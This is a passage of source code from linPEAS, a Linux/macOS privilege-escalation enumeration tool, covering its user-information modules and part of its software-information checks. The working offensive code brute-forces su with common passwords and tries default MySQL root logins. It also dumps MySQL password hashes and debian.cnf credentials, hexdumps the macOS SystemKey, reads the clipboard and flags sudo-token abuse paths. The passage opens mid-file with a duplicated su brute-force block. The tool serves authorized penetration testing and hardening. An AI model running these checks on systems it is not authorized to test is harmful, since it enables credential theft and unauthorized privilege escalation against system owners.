SHELLUSERS=$(cat /etc/passwd 2>/dev/null | grep -i "sh$" | cut -d ":" -f 1)
printf "%s\n" "$SHELLUSERS" | while read u; do
echo " Bruteforcing user $u..."
su_brute_user_num "$u" $PASSTRY
done
else
printf $GREEN"It's not possible to brute-force su.\n\n"$NC
fi
else
print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I don't do it in FAST mode...)\n"$NC
fi
print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC

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linPEAS/builder/linpeas_parts/6_users_information/10_Pkexec.sh Normal file
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# Title: Users Information - Pkexec
# ID: UG_Pkexec
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Check Pkexec policy
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_not_found, print_2title, print_info
# Global Variables: $Groups, $groupsB, $groupsVB,$nosh_usrs, $sh_usrs, $USER
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
print_2title "Checking Pkexec policy"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2"
(cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d"
echo ""

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linPEAS/builder/linpeas_parts/6_users_information/11_Superusers.sh Normal file
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# Title: Users Information - Superusers
# ID: UG_Superusers
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Superusers
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title
# Global Variables:$knw_usrs ,$nosh_usrs,$sh_usrs, $USER
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
print_2title "Superusers"
awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED_YELLOW}," | sed "s,root,${SED_RED},"
echo ""

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linPEAS/builder/linpeas_parts/6_users_information/12_Users_with_console.sh Normal file
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# Title: Users Information - Users with console
# ID: UG_Users_with_console
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Users with console
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title
# Global Variables: $MACPEAS, $sh_usrs, $USER
# Initial Functions:
# Generated Global Variables: $ushell, $no_shells, $unexpected_shells
# Fat linpeas: 0
# Small linpeas: 1
print_2title "Users with console"
if [ "$MACPEAS" ]; then
dscl . list /Users | while read un; do
ushell=$(dscl . -read "/Users/$un" UserShell | cut -d " " -f2)
if grep -q "$ushell" /etc/shells; then #Shell user
dscl . -read "/Users/$un" UserShell RealName RecordName Password NFSHomeDirectory 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
echo ""
fi
done
else
no_shells=$(grep -Ev "sh$" /etc/passwd 2>/dev/null | cut -d ':' -f 7 | sort | uniq)
unexpected_shells=""
printf "%s\n" "$no_shells" | while read f; do
if $f -c 'whoami' 2>/dev/null | grep -q "$USER"; then
unexpected_shells="$f\n$unexpected_shells"
fi
done
grep "sh$" /etc/passwd 2>/dev/null | sort | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
if [ "$unexpected_shells" ]; then
printf "%s" "These unexpected binaries are acting like shells:\n$unexpected_shells" | sed -${E} "s,/.*,${SED_RED},g"
echo "Unexpected users with shells:"
printf "%s\n" "$unexpected_shells" | while read f; do
if [ "$f" ]; then
grep -E "${f}$" /etc/passwd | sed -${E} "s,/.*,${SED_RED},g"
fi
done
fi
fi
echo ""

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linPEAS/builder/linpeas_parts/6_users_information/13_Users_groups.sh Normal file
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# Title: Users Information - Users & groups
# ID: UG_Users_groups
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get all users & groups
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title
# Global Variables: $groupsB, $groupsVB, $knw_grps, $knw_usrs, $MACPEAS, $nosh_usrs, $sh_usrs, $USER
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
print_2title "All users & groups"
if [ "$MACPEAS" ]; then
dscl . list /Users | while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g"
else
cut -d":" -f1 /etc/passwd 2>/dev/null| while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g"
fi
echo ""

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linPEAS/builder/linpeas_parts/6_users_information/14_Login_now.sh Normal file
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# Title: Users Information - Login now
# ID: UG_Login_now
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Login now
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title
# Global Variables: $knw_usrs, $nosh_usrs, $sh_usrs, $USER
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
print_2title "Login now"
(w || who || finger || users) 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
echo ""

18
linPEAS/builder/linpeas_parts/6_users_information/15_Last_logons.sh Normal file
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# Title: Users Information - Last logons
# ID: UG_Last_logons
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Last logons
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title
# Global Variables: $knw_usrs, $nosh_usrs, $sh_usrs, $USER
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
print_2title "Last logons"
(last -Faiw || last) 2>/dev/null | tail | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_RED}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
echo ""

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linPEAS/builder/linpeas_parts/6_users_information/16_Login_info.sh Normal file
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# Title: Users Information - Login info
# ID: UG_Login_info
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Last time logon each user
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title
# Global Variables: $knw_usrs, $MACPEAS, $nosh_usrs, $sh_usrs, $USER
# Initial Functions:
# Generated Global Variables: EXISTS_FINGER, ushell
# Fat linpeas: 0
# Small linpeas: 0
print_2title "Last time logon each user"
lastlog 2>/dev/null | grep -v "Never" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
EXISTS_FINGER="$(command -v finger 2>/dev/null || echo -n '')"
if [ "$MACPEAS" ] && [ "$EXISTS_FINGER" ]; then
dscl . list /Users | while read un; do
ushell=$(dscl . -read "/Users/$un" UserShell | cut -d " " -f2)
if grep -q "$ushell" /etc/shells; then #Shell user
finger "$un" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
echo ""
fi
done
fi
echo ""

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linPEAS/builder/linpeas_parts/6_users_information/17_Password_policy.sh Normal file
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# Title: Users Information - Password policy
# ID: UG_Password_policy
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get assword policy
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_not_found, print_2title
# Global Variables: $EXTRA_CHECKS, $MACPEAS
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
if [ "$EXTRA_CHECKS" ]; then
print_2title "Password policy"
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null || echo_not_found "/etc/login.defs"
echo ""
if [ "$MACPEAS" ]; then
print_2title "Relevant last user info and user configs"
defaults read /Library/Preferences/com.apple.loginwindow.plist 2>/dev/null
echo ""
print_2title "Guest user status"
sysadminctl -afpGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN},"
sysadminctl -guestAccount status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN},"
sysadminctl -smbGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN},"
echo ""
fi
fi

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linPEAS/builder/linpeas_parts/6_users_information/18_Brute_su.sh Normal file
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# Title: Users Information - Brute su
# ID: UG_Brute_su
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Brute su
# License: GNU GPL
# Version: 1.0
# Functions Used: check_if_su_brute, print_2title, su_brute_user_num
# Global Variables: $IAMROOT, $PASSTRY, $TIMEOUT
# Initial Functions:
# Generated Global Variables: $SHELLUSERS, $POSSIBE_SU_BRUTE
# Fat linpeas: 0
# Small linpeas: 0
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ]; then
print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC
POSSIBE_SU_BRUTE=$(check_if_su_brute);
if [ "$POSSIBE_SU_BRUTE" ]; then
SHELLUSERS=$(cat /etc/passwd 2>/dev/null | grep -i "sh$" | cut -d ":" -f 1)
printf "%s\n" "$SHELLUSERS" | while read u; do
echo " Bruteforcing user $u..."
su_brute_user_num "$u" $PASSTRY
done
else
printf $GREEN"It's not possible to brute-force su.\n\n"$NC
fi
else
print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I don't do it in FAST mode...)\n"$NC
fi
print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC

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linPEAS/builder/linpeas_parts/6_users_information/1_Macos_my_user_hooks.sh Normal file
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# Title: Users Information - MacOS my user hooks
# ID: UG_Macos_my_user_hooks
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get current user Login and Logout hooks
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title
# Global Variables: $HOME, $MACPEAS
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
if [ "$MACPEAS" ];then
print_2title "Current user Login and Logout hooks"
defaults read $HOME/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e "Hook"
echo ""
fi

19
linPEAS/builder/linpeas_parts/6_users_information/1_My_user.sh Normal file
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# Title: Users Information - My User
# ID: UG_My_user
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: My User
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables: $groupsB, $groupsVB, $idB, $knw_grps , $knw_usrs, $nosh_usrs,$sh_usrs, $USER
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
print_2title "My user"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users"
(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
echo ""

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# Title: Users Information - MacOS user hooks
# ID: UG_Macos_user_hooks
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Enumerate all users login and logout hooks
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title
# Global Variables: $MACPEAS
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
if [ "$MACPEAS" ];then
print_2title "All Login and Logout hooks"
defaults read /Users/*/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e "Hook"
defaults read /private/var/root/Library/Preferences/com.apple.loginwindow.plist
echo ""
fi

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# Title: Users Information - Macos systemKey
# ID: UG_Macos_keychains
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get macOS systemKey
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title
# Global Variables: $MACPEAS
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
if [ "$MACPEAS" ];then
print_2title "Keychains"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#chainbreaker"
security list-keychains
echo ""
fi

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# Title: Users Information - Macos systemKey
# ID: UG_Macos_systemkey
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get macOS systemKey
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title
# Global Variables: $MACPEAS
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
if [ "$MACPEAS" ];then
print_2title "SystemKey"
ls -l /var/db/SystemKey
if [ -r "/var/db/SystemKey" ]; then
echo "You can read /var/db/SystemKey" | sed -${E} "s,.*,${SED_RED_YELLOW},";
hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey | sed -${E} "s,.*,${SED_RED_YELLOW},";
fi
echo ""
fi

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# Title: Users Information - PGP keys
# ID: UG_Pgp_keys
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: PGP keys
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_not_found, print_2title
# Global Variables:
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
print_2title "Do I have PGP keys?"
command -v gpg 2>/dev/null || echo_not_found "gpg"
gpg --list-keys 2>/dev/null
command -v netpgpkeys 2>/dev/null || echo_not_found "netpgpkeys"
netpgpkeys --list-keys 2>/dev/null
command -v netpgp 2>/dev/null || echo_not_found "netpgp"
echo ""

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# Title: Users Information - Clipboard and highlighted text
# ID: UG_Clipboard_highlighted_text
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Clipboard and highlighted text
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_not_found, print_2title
# Global Variables: $DEBUG, $pwd_inside_history
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
if [ "$(command -v xclip 2>/dev/null || echo -n '')" ] || [ "$(command -v xsel 2>/dev/null || echo -n '')" ] || [ "$(command -v pbpaste 2>/dev/null || echo -n '')" ] || [ "$DEBUG" ]; then
print_2title "Clipboard or highlighted text?"
if [ "$(command -v xclip 2>/dev/null || echo -n '')" ]; then
echo "Clipboard: "$(xclip -o -selection clipboard 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
echo "Highlighted text: "$(xclip -o 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
elif [ "$(command -v xsel 2>/dev/null || echo -n '')" ]; then
echo "Clipboard: "$(xsel -ob 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
echo "Highlighted text: "$(xsel -o 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
elif [ "$(command -v pbpaste 2>/dev/null || echo -n '')" ]; then
echo "Clipboard: "$(pbpaste) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
else echo_not_found "xsel and xclip"
fi
echo ""
fi

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# Title: Users Information - Sudo -l
# ID: UG_Sudo_l
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_not_found, print_2title, print_info
# Global Variables:$IAMROOT, $PASSWORD, $sudoB, $sudoG, $sudoVB1, $sudoVB2
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
(echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo"
if [ "$PASSWORD" ]; then
(echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g") 2>/dev/null || echo_not_found "sudo"
fi
( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" ) 2>/dev/null || echo_not_found "/etc/sudoers"
if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then
echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW},"
fi
for f in /etc/sudoers.d/*; do
if [ -r "$f" ]; then
echo "Sudoers file: $f is readable" | sed -${E} "s,.*,${SED_RED},g"
grep -Iv "^$" "$f" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g"
fi
done
echo ""

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# Title: Users Information - Sudo tokens
# ID: UG_Sudo_tokens
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Checking Sudo tokens
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables: $HOME, $CURRENT_USER_PIVOT_PID
# Initial Functions: get_current_user_privot_pid
# Generated Global Variables: $ptrace_scope
# Fat linpeas: 0
# Small linpeas: 1
print_2title "Checking sudo tokens"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens"
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then
echo "ptrace protection is disabled (0), so sudo tokens could be abused" | sed "s,is disabled,${SED_RED},g";
if [ "$(command -v gdb 2>/dev/null || echo -n '')" ]; then
echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g";
fi
if [ "$CURRENT_USER_PIVOT_PID" ]; then
echo "The current user proc $CURRENT_USER_PIVOT_PID is the parent of a different user proccess" | sed -${E} "s,.*,${SED_RED},g";
fi
if [ -f "$HOME/.sudo_as_admin_successful" ]; then
echo "Current user has .sudo_as_admin_successful file, so he can execute with sudo" | sed -${E} "s,.*,${SED_RED},";
fi
if ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -qE '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'; then
echo "Current user has other interactive shells running: " | sed -${E} "s,.*,${SED_RED},g";
ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -E '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'
fi
else
echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g";
fi
echo ""

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linPEAS/builder/linpeas_parts/6_users_information/9_Doas.sh Normal file
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# Title: Users Information - Doas
# ID: UG_Doas
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Checking doas.conf
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_not_found, print_2title
# Global Variables: $DEBUG, $nosh_usrs, $sh_usrs, $USER
# Initial Functions:
# Generated Global Variables: $doas_dir_name
# Fat linpeas: 0
# Small linpeas: 1
if [ -f "/etc/doas.conf" ] || [ "$DEBUG" ]; then
print_2title "Checking doas.conf"
doas_dir_name=$(dirname "$(command -v doas || echo -n '')" 2>/dev/null)
if [ "$(cat /etc/doas.conf $doas_dir_name/doas.conf $doas_dir_name/../etc/doas.conf $doas_dir_name/etc/doas.conf 2>/dev/null)" ]; then
cat /etc/doas.conf "$doas_dir_name/doas.conf" "$doas_dir_name/../etc/doas.conf" "$doas_dir_name/etc/doas.conf" 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_RED}," | sed "s,root,${SED_RED}," | sed "s,nopass,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW},"
else echo_not_found "doas.conf"
fi
echo ""
fi

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###########################################
#--------) Software Information (---------#
###########################################
NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so"
#-- SI) Useful software
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Useful software"
for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done
echo ""
fi
#-- SI) Search for compilers
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Installed Compilers"
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/");
echo ""
if [ "$(command -v pkg 2>/dev/null)" ]; then
print_2title "Vulnerable Packages"
pkg audit -F | sed -${E} "s,vulnerable,${SED_RED},g"
echo ""
fi
if [ "$(command -v brew 2>/dev/null)" ]; then
print_2title "Brew Installed Packages"
brew list
echo ""
fi
fi
if [ "$MACPEAS" ]; then
print_2title "Writable Installed Applications"
system_profiler SPApplicationsDataType | grep "Location:" | cut -d ":" -f 2 | cut -c2- | while read f; do
if [ -w "$f" ]; then
echo "$f is writable" | sed -${E} "s,.*,${SED_RED},g"
fi
done
system_profiler SPFrameworksDataType | grep "Location:" | cut -d ":" -f 2 | cut -c2- | while read f; do
if [ -w "$f" ]; then
echo "$f is writable" | sed -${E} "s,.*,${SED_RED},g"
fi
done
fi
#-- SI) MySQL version
if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; then
print_2title "MySQL version"
mysql --version 2>/dev/null || echo_not_found "mysql"
mysqluser=$(systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1)
if [ "$mysqluser" ]; then
echo "MySQL user: $mysqluser" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
fi
echo ""
echo ""
#-- SI) MySQL connection root/root
print_list "MySQL connection using default root/root ........... "
mysqlconnect=$(mysqladmin -uroot -proot version 2>/dev/null)
if [ "$mysqlconnect" ]; then
echo "Yes" | sed -${E} "s,.*,${SED_RED},"
mysql -u root --password=root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
#-- SI) MySQL connection root/toor
print_list "MySQL connection using root/toor ................... "
mysqlconnect=$(mysqladmin -uroot -ptoor version 2>/dev/null)
if [ "$mysqlconnect" ]; then
echo "Yes" | sed -${E} "s,.*,${SED_RED},"
mysql -u root --password=toor -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
#-- SI) MySQL connection root/NOPASS
mysqlconnectnopass=$(mysqladmin -uroot version 2>/dev/null)
print_list "MySQL connection using root/NOPASS ................. "
if [ "$mysqlconnectnopass" ]; then
echo "Yes" | sed -${E} "s,.*,${SED_RED},"
mysql -u root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
echo ""
fi
#-- SI) MySQL credentials
if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then
print_2title "Searching mysql credentials and exec"
printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do
if [ -f "$d" ] && ! [ "$(basename $d)" = "mysql" ]; then # Only interested in "mysql" that are folders (filesaren't the ones with creds)
STRINGS="`command -v strings`"
echo "Potential file containing credentials:"
ls -l "$d"
if [ "$STRINGS" ]; then
strings "$d"
else
echo "Strings not found, cat the file and check it to get the creds"
fi
else
for f in $(find $d -name debian.cnf 2>/dev/null); do
if [ -r "$f" ]; then
echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED},"
cat "$f"
fi
done
for f in $(find $d -name user.MYD 2>/dev/null); do
if [ -r "$f" ]; then
echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED},"
grep -oaE "[-_\.\*a-Z0-9]{3,}" "$f" | grep -v "mysql_native_password"
fi
done
for f in $(grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"); do
if [ -r "$f" ]; then
u=$(cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null)
echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
fi
done
for f in $(find $d -name my.cnf 2>/dev/null); do
if [ -r "$f" ]; then
echo "Found readable $f"
grep -v "^#" "$f" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED},"
fi
done
fi
mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep -Ev '^lib_mysqludf_sys.so:$' | grep "lib_mysqludf_sys\.so")
if [ "$mysqlexec" ]; then
echo "Found $mysqlexec. $(whereis lib_mysqludf_sys.so)"
echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED},"
fi
done
fi
echo ""
peass{MariaDB}
peass{PostgreSQL}
#-- SI) PostgreSQL brute
if [ "$TIMEOUT" ] && [ "$(command -v psql)" ] || [ "$DEBUG" ]; then # In some OS (like OpenBSD) it will expect the password from console and will pause the script. Also, this OS doesn't have the "timeout" command so lets only use this checks in OS that has it.
# Checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this
print_list "PostgreSQL connection to template0 using postgres/NOPASS ........ "
if [ "$(timeout 1 psql -U postgres -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
print_list "PostgreSQL connection to template1 using postgres/NOPASS ........ "
if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.*,${SED_RED},"
else echo_no
fi
print_list "PostgreSQL connection to template0 using pgsql/NOPASS ........... "
if [ "$(timeout 1 psql -U pgsql -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
print_list "PostgreSQL connection to template1 using pgsql/NOPASS ........... "
if [ "$(timeout 1 psql -U pgsql -d template1 -c 'select version()' 2> /dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
echo ""
fi
peass{Mongo}
peass{Apache-Nginx}
peass{Tomcat}
peass{FastCGI}
peass{Http_conf}
peass{Htpasswd}
peass{PHP Sessions}
peass{Wordpress}
peass{Drupal}
peass{Moodle}
peass{Supervisord}
peass{Cesi}
peass{Rsync}
peass{Hostapd}
peass{Wifi Connections}
peass{Anaconda ks}
peass{VNC}
peass{OpenVPN}
peass{Ldap}
if [ "$PSTORAGE_LOG4SHELL" ] || [ "$DEBUG" ]; then
print_2title "Searching Log4Shell vulnerable libraries"
